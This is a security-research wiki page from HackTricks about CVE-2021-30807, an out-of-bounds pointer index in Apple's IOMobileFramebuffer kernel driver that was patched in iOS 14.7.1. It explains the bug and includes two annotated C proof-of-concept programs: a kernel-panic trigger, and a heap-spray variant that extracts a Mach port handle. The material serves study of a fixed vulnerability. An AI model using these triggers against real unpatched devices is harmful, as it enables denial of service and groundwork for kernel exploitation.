hacktricks/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md
carlospolop 14b55c6309 f
2025-09-29 15:42:47 +02:00

14 KiB

CVE-2021-30807: IOMobileFrameBuffer OOB

{{#include ../../banners/hacktricks-training.md}}

The Bug

You have a great explanation of the vuln here, but as summary:

  • The vulnerable code path is external method #83 of the IOMobileFramebuffer / AppleCLCD user client: IOMobileFramebufferUserClient::s_displayed_fb_surface(...). This method receives a parameter controlled by the user that is not check in any way and that passes to the next function as scalar0.

  • That method forwards into IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0), where scalar0 (a user-controlled 32-bit value) is used as an index into an internal array of pointers without any bounds check:

    ptr = *(this + 0xA58 + scalar0 * 8); → passed to IOSurfaceRoot::copyPortNameForSurfaceInTask(...) as an IOSurface*.
    Result: OOB pointer read & type confusion on that array. If the pointer isn't valid, the kernel deref panics → DoS.

Note

This was fixed in iOS/iPadOS 14.7.1, macOS Big Sur 11.5.1, watchOS 7.6.1

Warning

The initial function to call IOMobileFramebufferUserClient::s_displayed_fb_surface(...) is protected by the entitlement com.apple.private.allow-explicit-graphics-priority. However, WebKit.WebContent has this entitlement, so it can be used to trigger the vuln from a sandboxed process.

DoS PoC

The following is the initial DoS PoC from the ooriginal blog post with extra comments:

// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1.  (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807

void trigger_clcd_vuln(void) {
  kern_return_t ret;
  io_connect_t shared_user_client_conn = MACH_PORT_NULL;

  // The "type" argument is the type (selector) of user client to open.
  // For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
  // external methods we need (incl. selector 83). If this doesn't work on your
  // build, try different types or query IORegistry to enumerate.
  int type = 2;

  // 1) Locate the IOMobileFramebuffer service in the IORegistry.
  //    This returns the first matched service object (a kernel object handle).
  io_service_t service = IOServiceGetMatchingService(
      kIOMasterPortDefault,
      IOServiceMatching("IOMobileFramebuffer"));

  if (service == MACH_PORT_NULL) {
    printf("failed to open service\n");
    return;
  }

  printf("service: 0x%x\n", service);

  // 2) Open a connection (user client) to the service.
  //    The user client is what exposes external methods to userland.
  //    'type' selects which user client class/variant to instantiate.
  ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
  if (ret != KERN_SUCCESS) {
    printf("failed to open userclient: %s\n", mach_error_string(ret));
    return;
  }

  printf("client: 0x%x\n", shared_user_client_conn);

  printf("call externalMethod\n");

  // 3) Prepare input scalars for the external method call.
  //    The vulnerable path uses a 32-bit scalar as an INDEX into an internal
  //    array of pointers WITHOUT bounds checking (OOB read / type confusion).
  //    We set it to a large value to force the out-of-bounds access.
  uint64_t scalars[4] = { 0x0 };
  scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup

  // 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
  uint64_t output_scalars[4] = { 0 };
  uint32_t output_scalars_size = 1;

  printf("call s_default_fb_surface\n");

  // 5) Invoke external method #83.
  //    On vulnerable builds, this path ends up calling:
  //      IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
  //      → IOMobileFramebufferLegacy::get_displayed_surface(...)
  //      which uses our index to read a pointer and then passes it as IOSurface*.
  //    If the pointer is bogus, IOSurface code will dereference it and the kernel
  //    will panic (DoS).
  ret = IOConnectCallMethod(
          shared_user_client_conn,
          83,                 // **Selector 83**: vulnerable external method
          scalars, 1,         // input scalars (count = 1; the OOB index)
          NULL, 0,            // no input struct
          output_scalars, &output_scalars_size,  // optional outputs
          NULL, NULL);        // no output struct

  // 6) Check the call result. On many vulnerable targets, you'll see either
  //    KERN_SUCCESS right before a panic (because the deref happens deeper),
  //    or an error if the call path rejects the request (e.g., entitlement/type).
  if (ret != KERN_SUCCESS) {
    printf("failed to call external method: 0x%x --> %s\n",
           ret, mach_error_string(ret));
    return;
  }

  printf("external method returned KERN_SUCCESS\n");

  // 7) Clean up the user client connection handle.
  IOServiceClose(shared_user_client_conn);
  printf("success!\n");
}

Arbitrary Read PoC Explained

  1. Opening the right user client
  • get_appleclcd_uc() finds the AppleCLCD service and opens user client type 2. AppleCLCD and IOMobileFramebuffer share the same external-methods table; type 2 exposes selector 83, the vulnerable method. This is your entry to the bug. E_POC/)

Why 83 matters: the decompiled path is:

  • IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
    IOMobileFramebufferUserClient::get_displayed_surface(...)
    IOMobileFramebufferLegacy::get_displayed_surface(...)
    Inside that last call, the code uses your 32-bit scalar as an array index with no bounds check, fetches a pointer from this + 0xA58 + index*8, and passes it as an IOSurface* to IOSurfaceRoot::copyPortNameForSurfaceInTask(...). That's the OOB + type confusion.
  1. The heap spray (why IOSurface shows up here)
  • do_spray() uses IOSurfaceRootUserClient to create many IOSurfaces and spray small values (s_set_value style). This fills nearby kernel heaps with pointers to valid IOSurface objects.

  • Goal: when selector 83 reads past the legit table, the OOB slot likely contains a pointer to one of your (real) IOSurfaces---so the later dereference doesn't crash and succeeds. IOSurface is a classic, well-documented kernel spray primitive, and Saar's post explicitly lists the create / set_value / lookup methods used for this exploitation flow.

  1. The "offset/8" trick (what that index really is)
  • In trigger_oob(offset), you set scalars[0] = offset / 8.

  • Why divide by 8? The kernel does base + index*8 to compute which pointer-sized slot to read. You're picking "slot number N", not a byte offset. Eight bytes per slot on 64-bit.

  • That computed address is this + 0xA58 + index*8. The PoC uses a big constant (0x1200000 + 0x1048) simply to step far out of bounds into a region you've tried to densely populate with IOSurface pointers. If the spray "wins," the slot you hit is a valid IOSurface*.

  1. What selector 83 returns (this is the subtle part)
  • The call is:

    IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, output_scalars, &output_scalars_size, NULL, NULL);o

  • Internally, after the OOB pointer fetch, the driver calls
    IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*).

  • Result: output_scalars[0] is a Mach port name (u32 handle) in your task for whatever object pointer you supplied via OOB. It is not a raw kernel address leak; it's a userspace handle (send right). This exact behavior (copying a port name) is shown in Saar's decompilation.

Why that's useful: with a port name to the (supposed) IOSurface, you can now use IOSurfaceRoot methods like:

  • s_lookup_surface_from_port (method 34) → turn the port into a surface ID you can operate on through other IOSurface calls, and

  • s_create_port_from_surface (method 35) if you need the inverse.
    Saar calls out these exact methods as the next step. The PoC is proving you can "manufacture" a legitimate IOSurface handle from an OOB slot. Saaramar

This PoC was taken from here and added some comments to explain the steps:

#include "exploit.h"

// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
    kern_return_t ret;
    io_connect_t shared_user_client_conn = MACH_PORT_NULL;
    int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds.  ⭐
                  // (AppleCLCD and IOMobileFramebuffer share the same external methods table.)

    // Find the **AppleCLCD** service in the IORegistry.
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
                                                       IOServiceMatching("AppleCLCD"));
    if(service == MACH_PORT_NULL) {
        printf("[-] failed to open service\n");
        return MACH_PORT_NULL;
    }
    printf("[*] AppleCLCD service: 0x%x\n", service);

    // Open a user client connection to AppleCLCD with the chosen **type**.
    ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
    if(ret != KERN_SUCCESS) {
        printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
        return MACH_PORT_NULL;
    }
    printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
    return shared_user_client_conn;
}

// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
    kern_return_t ret;

    // The method takes a single 32-bit scalar that it uses as an index.
    uint64_t scalars[1] = { 0x0 };
    scalars[0] = offset / 8;   // **index = byteOffset / sizeof(void*)**.  ⭐

    // #83 returns one scalar. In this flow it will be the Mach port name
    // (a u32 handle in our task), not a kernel pointer.
    uint64_t output_scalars[1] = { 0 };
    uint32_t output_scalars_size = 1;

    io_connect_t appleclcd_uc = get_appleclcd_uc();
    if (appleclcd_uc == MACH_PORT_NULL) {
        return 0;
    }

    // Call external method 83. Internally:
    //   ptr = *(this + 0xA58 + index*8);         // OOB pointer fetch
    //   IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
    // which creates a send right for that object and writes its port name
    // into output_scalars[0]. If ptr is junk → deref/panic (DoS).
    ret = IOConnectCallMethod(appleclcd_uc, 83,
                                    scalars, 1,
                                    NULL, 0,
                                    output_scalars, &output_scalars_size,
                                    NULL, NULL);

    if (ret != KERN_SUCCESS) {
        printf("[-] external method 83 failed: %s\n",  mach_error_string(ret));
        return 0;
    }

    // This is the key: you get back a Mach port name (u32) to whatever
    // object was at that OOB slot (ideally an IOSurface you sprayed).
    printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
    return output_scalars[0];
}

// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
    char data[0x10];
    memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.

    // Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
    io_connect_t iosurface_uc = get_iosurface_root_uc();
    if (iosurface_uc == MACH_PORT_NULL) {
        printf("[-] do_spray: failed to allocate new iosurface_uc\n");
        return false;
    }

    // Create many IOSurfaces and use set_value / value spray helpers
    // (Brandon Azad-style) to fan out allocations in kalloc.  ⭐
    int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
    for (size_t i = 0; i < SURFACES_COUNT; ++i) {
        surface_ids[i] = create_surface(iosurface_uc);       // s_create_surface
        if (surface_ids[i] <= 0) {
            return false;
        }

        // Spray small values repeatedly: tends to allocate/fill predictable
        // kalloc regions near where the IOMFB table OOB will read from.
        // The “with_gc” flavor forces periodic GC to keep memory moving/packed.
        if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
                                    20, 200,   // rounds, per-round items
                                    data, sizeof(data),
                                    NULL) == false) {
            printf("iosurface spray failed\n");
            return false;
        }
    }
    return true;
}

int main(void) {
    // Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
    io_connect_t iosurface_uc = get_iosurface_root_uc();
    if (iosurface_uc == MACH_PORT_NULL) {
        return 0;
    }

    printf("[*] do spray\n");
    if (do_spray() == false) {
        printf("[-] shape failed, abort\n");
        return 1;
    }
    printf("[*] spray success\n");

    // Trigger the OOB read. The magic constant chooses a pointer-slot
    // far beyond the legit array (offset is in bytes; index = offset/8).
    // If the spray worked, this returns a **Mach port name** (handle) to one
    // of your sprayed IOSurfaces; otherwise it may crash.
    printf("[*] trigger\n");
    trigger_oob(0x1200000 + 0x1048);
    return 0;
}

References

{{#include ../../banners/hacktricks-training.md}}